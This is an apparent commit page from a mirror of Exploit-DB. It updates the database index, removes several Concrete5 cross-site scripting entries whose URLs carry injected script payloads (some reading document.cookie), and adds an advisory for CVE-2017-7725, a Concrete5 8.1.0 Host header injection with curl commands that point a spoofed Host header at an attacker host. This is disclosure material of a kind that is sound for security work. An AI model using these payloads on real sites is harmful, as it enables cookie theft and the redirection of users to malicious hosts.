bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2017-04-15

Browse source 
1 new exploits

Microsoft Windows Kernel win32k.sys - Multiple Bugs in the NtGdiGetDIBitsInternal System Call
Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call

Adobe Creative Cloud Desktop Application <= 4.0.0.185 - Privilege Escalation
Adobe Creative Cloud Desktop Application < 4.0.0.185 - Privilege Escalation
Concrete5 - index.php/tools/required/files/replace searchInstance Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/add_to searchInstance Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/Permissions searchInstance Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/Dashboard/sitemap_data.php Multiple Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/search_dialog ocID Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/customize_search_columns searchInstance Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/search_results searchInstance Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/sitemap_search_selector Multiple Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/import Multiple Parameter Cross-Site Scripting
Concrete5 - index.php/tools/required/files/bulk_properties searchInstance Parameter Cross-Site Scripting

Concrete5 8.1.0 - 'Host' Header Injection
This commit is contained in:
Offensive Security 2017-04-15 05:01:18 +00:00
parent aabd4b35b3
commit 8c4e598118
12 changed files with 138 additions and 165 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

15
files.csv
View file

@ -5466,7 +5466,7 @@ id,file,description,date,author,platform,type,port
41867,platforms/multiple/dos/41867.html,"Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
41868,platforms/multiple/dos/41868.html,"Apple WebKit - 'Document::adoptNode' Use-After-Free",2017-04-11,"Google Security Research",multiple,dos,0
41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0
41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel win32k.sys - Multiple Bugs in the NtGdiGetDIBitsInternal System Call",2017-04-13,"Google Security Research",windows,dos,0
41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call",2017-04-13,"Google Security Research",windows,dos,0
41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
@ -8939,7 +8939,7 @@ id,file,description,date,author,platform,type,port
41871,platforms/solaris/local/41871.sh,"Solaris 7 < 11 (x86 / SPARC) - 'EXTREMEPARR' dtappgather Privilege Escalation",2017-04-12,"Hacker Fantastic",solaris,local,0
41873,platforms/osx/local/41873.sh,"GNS3 Mac OS-X 1.5.2 - 'ubridge' Privilege Escalation",2017-04-13,"Hacker Fantastic",osx,local,0
41875,platforms/linux/local/41875.py,"PonyOS 4.0 - 'fluttershy' LD_LIBRARY_PATH Local Kernel Exploit",2017-04-02,"Hacker Fantastic",linux,local,0
41878,platforms/windows/local/41878.txt,"Adobe Creative Cloud Desktop Application <= 4.0.0.185 - Privilege Escalation",2017-04-13,hyp3rlinx,windows,local,0
41878,platforms/windows/local/41878.txt,"Adobe Creative Cloud Desktop Application < 4.0.0.185 - Privilege Escalation",2017-04-13,hyp3rlinx,windows,local,0
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@ -35533,10 +35533,6 @@ id,file,description,date,author,platform,type,port
37224,platforms/php/webapps/37224.txt,"Yandex.Server 2010 9.0 - 'text' Parameter Cross-Site Scripting",2012-05-21,MustLive,php,webapps,0
37225,platforms/php/webapps/37225.pl,"Concrete CMS < 5.5.21 - Multiple Vulnerabilities",2012-05-20,AkaStep,php,webapps,0
37226,platforms/php/webapps/37226.txt,"Concrete5 FlashUploader - Arbitrary '.SWF' File Upload",2012-05-20,AkaStep,php,webapps,0
37227,platforms/php/webapps/37227.txt,"Concrete5 - index.php/tools/required/files/replace searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37228,platforms/php/webapps/37228.txt,"Concrete5 - index.php/tools/required/files/add_to searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37229,platforms/php/webapps/37229.txt,"Concrete5 - index.php/tools/required/files/Permissions searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37230,platforms/php/webapps/37230.txt,"Concrete5 - index.php/tools/required/Dashboard/sitemap_data.php Multiple Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37350,platforms/php/webapps/37350.txt,"AdaptCMS 2.0.2 TinyURL Plugin - 'index.php' id Parameter SQL Injection",2012-06-03,KedAns-Dz,php,webapps,0
37351,platforms/php/webapps/37351.txt,"AdaptCMS 2.0.2 TinyURL Plugin - admin.php Multiple Parameter SQL Injection",2012-06-03,KedAns-Dz,php,webapps,0
37352,platforms/php/webapps/37352.txt,"Ignite Solutions CMS - 'car-details.php' SQL Injection",2012-06-03,Am!r,php,webapps,0
@ -35578,12 +35574,6 @@ id,file,description,date,author,platform,type,port
37272,platforms/jsp/webapps/37272.txt,"ZCMS 1.1 - Multiple Vulnerabilities",2015-06-12,hyp3rlinx,jsp,webapps,8080
37274,platforms/php/webapps/37274.txt,"WordPress Plugin SE HTML5 Album Audio Player 1.1.0 - Directory Traversal",2015-06-12,"Larry W. Cashdollar",php,webapps,80
37275,platforms/php/webapps/37275.txt,"WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload",2015-06-12,"Larry W. Cashdollar",php,webapps,80
37277,platforms/php/webapps/37277.txt,"Concrete5 - index.php/tools/required/files/search_dialog ocID Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37278,platforms/php/webapps/37278.txt,"Concrete5 - index.php/tools/required/files/customize_search_columns searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37279,platforms/php/webapps/37279.txt,"Concrete5 - index.php/tools/required/files/search_results searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37280,platforms/php/webapps/37280.txt,"Concrete5 - index.php/tools/required/sitemap_search_selector Multiple Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37281,platforms/php/webapps/37281.txt,"Concrete5 - index.php/tools/required/files/import Multiple Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37282,platforms/php/webapps/37282.txt,"Concrete5 - index.php/tools/required/files/bulk_properties searchInstance Parameter Cross-Site Scripting",2012-05-20,AkaStep,php,webapps,0
37283,platforms/php/webapps/37283.txt,"AZ Photo Album - Cross-Site Scripting / Arbitrary File Upload",2012-05-20,"Eyup CELIK",php,webapps,0
37316,platforms/php/webapps/37316.txt,"phpCollab 2.5 - Unauthenticated Direct Request Multiple Protected Page Access",2012-05-24,"team ' and 1=1--",php,webapps,0
37354,platforms/php/webapps/37354.py,"Bigware Shop 2.1x - 'main_bigware_54.php' SQL Injection",2012-06-05,rwenzel,php,webapps,0
@ -37754,3 +37744,4 @@ id,file,description,date,author,platform,type,port
41881,platforms/multiple/webapps/41881.html,"agorum core Pro 7.8.1.4-251 - Cross-Site Request Forgery",2017-04-13,"SySS GmbH",multiple,webapps,0
41882,platforms/multiple/webapps/41882.html,"agorum core Pro 7.8.1.4-251 - Persistent Cross-Site Scripting",2017-04-13,"SySS GmbH",multiple,webapps,0
41884,platforms/php/webapps/41884.rb,"Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)",2017-04-13,"Peter Lapp",php,webapps,0
41885,platforms/php/webapps/41885.txt,"Concrete5 8.1.0 - 'Host' Header Injection",2017-04-14,hyp3rlinx,php,webapps,0

Can't render this file because it is too large.

15
platforms/php/webapps/37227.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/replace?searchInstance="><script>alert(document.cookie);</script>&fID=4

15
platforms/php/webapps/37228.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/add_to?searchInstance="><script>alert(document.cookie);</script>&fID=owned

15
platforms/php/webapps/37229.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/permissions?searchInstance="><script>alert("AkaStep");</script>&fID=owned

15
platforms/php/webapps/37230.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/dashboard/sitemap_data.php?instance_id="><script>alert(1);</script>&node=owned&display_mode=full&select_mode=&selectedPageID=

15
platforms/php/webapps/37277.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/search_dialog?ocID="><script>alert(1);</script>&search=1

15
platforms/php/webapps/37278.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/customize_search_columns?searchInstance="><script>alert(document.cookie);</script>

15
platforms/php/webapps/37279.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/search_results?submit_search=123&ocID=123&searchType=&searchInstance=&searchInstance=&ccm_order_by=fvDateAdded&ccm_order_dir=asc&searchType=123 &searchInstance="><script>alert(1);</script>

15
platforms/php/webapps/37280.txt
View file

@ -1,15 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/sitemap_search_selector?select_mode=move_copy_delete&cID="><script>alert(1);</script>

17
platforms/php/webapps/37281.txt
View file

@ -1,17 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/import?ocID="><script>alert(document.cookie);</script>&searchInstance=file1337335625
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/import?ocID=13&searchInstance="><script>alert(document.cookie);</script>

16
platforms/php/webapps/37282.txt
View file

@ -1,16 +0,0 @@
source: http://www.securityfocus.com/bid/53640/info
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
1. Multiple cross-site scripting vulnerabilities
2. An arbitrary-file-upload vulnerability
3. A denial-of-service vulnerability
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Concrete CMS versions 5.5 and 5.5.21 are vulnerable.
http://www.example.com/learn/concrete/concrete5.5.2.1/index.php/tools/required/files/bulk_properties/?&fID[]=17&uploaded=true&searchInstance="><script>alert(document.cookie);</script>
&fid=VALID_ID_OF_IAMGE

135
platforms/php/webapps/41885.txt Executable file
View file

@ -0,0 +1,135 @@
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.concrete5.org
Product:
================
concrete5 v8.1.0
concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.
Vulnerability Type:
======================
Host Header Injection
CVE Reference:
==============
CVE-2017-7725
Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.
Example MySQL data from "CollectionVersionBlocksOutputCache" table.
(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489
e.g.
c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
<link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
var CCM_CID = 162;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE
var CCM_REL = "/concrete5-8.1.0";
</script>
Exploit:
=========
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"
Navigate to one of these URLs:
http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio
Click on links in header portion of the webpage from one of the above URLs.
Services
Portfolio
Team / Drop down Menu
Blog
Contact
OR
click on the links on footer portion of the webpage.
FAQ / Help
Case Studies
Blog
Another Link
View on Google Maps
Result: user gets redirected to attacker-ip.
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
======================================================
Vendor Notification : April 11, 2017
Vendor reply: "this is a known issue" : April 12, 2017
Requested a CVE from mitre.
CVE assigned : April 12, 2017
April 13, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).